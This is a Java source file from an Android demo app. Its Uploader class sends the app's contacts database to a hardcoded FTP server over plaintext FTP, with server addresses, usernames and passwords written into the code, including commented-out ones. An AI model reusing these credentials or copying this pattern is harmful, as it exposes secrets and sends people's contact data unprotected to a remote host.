package com.Ele_Demo.jackiez;

import java.io.File;
import java.io.FileInputStream;
import java.util.Calendar;

import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPReply;

import android.content.SharedPreferences;

import com.Ele_Demo.jackiez.util.LogUtil;

public class Uploader{
	
	public void UploadContacts(String path){
		LogUtil.LogShow("[Tab1]", "Begin to Upload", LogUtil.DEBUG);
    	FTPClient ftp = new FTPClient();
    	//String server = "203.171.225.126";
    	//String username="zhaojian";
    	//String password="Huaren178";
    	
		//SharedPreferences passwdfile = getSharedPreferences( "USERPATH", 0);
		//String path = passwdfile.getString("USERPATH", null);
		//LogUtil.LogShow("[upload]", "The Path is"+path, LogUtil.DEBUG);
		
    	String server = "203.171.225.138";
    	String username="android_data";
    	String password="999999";
    	String file="/data/data/com.Ele_Demo.jackiez/databases/MyContacts.db";   	
        Calendar time=Calendar.getInstance(); 
		LogUtil.LogShow("[upload]", Integer.toString(time.get(Calendar.YEAR))
				+Integer.toString(time.get(Calendar.MONTH))
				+Integer.toString(time.get(Calendar.DATE))
				+Integer.toString(time.get(Calendar.HOUR))
				+Integer.toString(time.get(Calendar.MINUTE)), LogUtil.DEBUG);
		String file_upload = "MyContacts" 
		+Integer.toString(time.get(Calendar.YEAR))
		+Integer.toString(time.get(Calendar.MONTH))
		+Integer.toString(time.get(Calendar.DATE))
		+Integer.toString(time.get(Calendar.HOUR))
		+Integer.toString(time.get(Calendar.MINUTE))
		+".txt";
        
		try{
    		ftp.setDefaultTimeout(30000);
    		ftp.connect(server);
    		ftp.login(username,password);
    		ftp.setDefaultPort(21);
    		int reply = ftp.getReplyCode();
			LogUtil.LogShow("[upload]", Integer.toString(reply), LogUtil.DEBUG);

    		if(!FTPReply.isPositiveCompletion(reply)){
    			ftp.disconnect();
    			//showDialog("FTP Server connecting failed!!!");
    		}
    		else{
    			LogUtil.LogShow("[upload]", Integer.toString(reply), LogUtil.DEBUG);
    			ftp.changeWorkingDirectory("/www/android/data/"+path);
				ftp.enterLocalPassiveMode();
				//ftp.setControlEncoding("gbk");
				ftp.setFileType(FTP.BINARY_FILE_TYPE);
				FileInputStream fis = new FileInputStream(new File(file));
				ftp.storeFile(file_upload, fis);   				
				ftp.logout();
				LogUtil.LogShow("[upload]", "12345", LogUtil.DEBUG);
    		}
    	}
		catch(Exception e){
			LogUtil.LogShow("[upload]", "Something Wrong!", LogUtil.DEBUG);
		}
    	finally
    	{
    		if(ftp.isConnected()){
    			try{
    				ftp.disconnect();
    			}
    			catch(Exception ioe){
    				LogUtil.LogShow("[upload]", "Something Wrong!", LogUtil.DEBUG);
    			}
    		}
    	}		
	}

	private SharedPreferences getSharedPreferences(String string, int i) {
		// TODO Auto-generated method stub
		return null;
	}
}
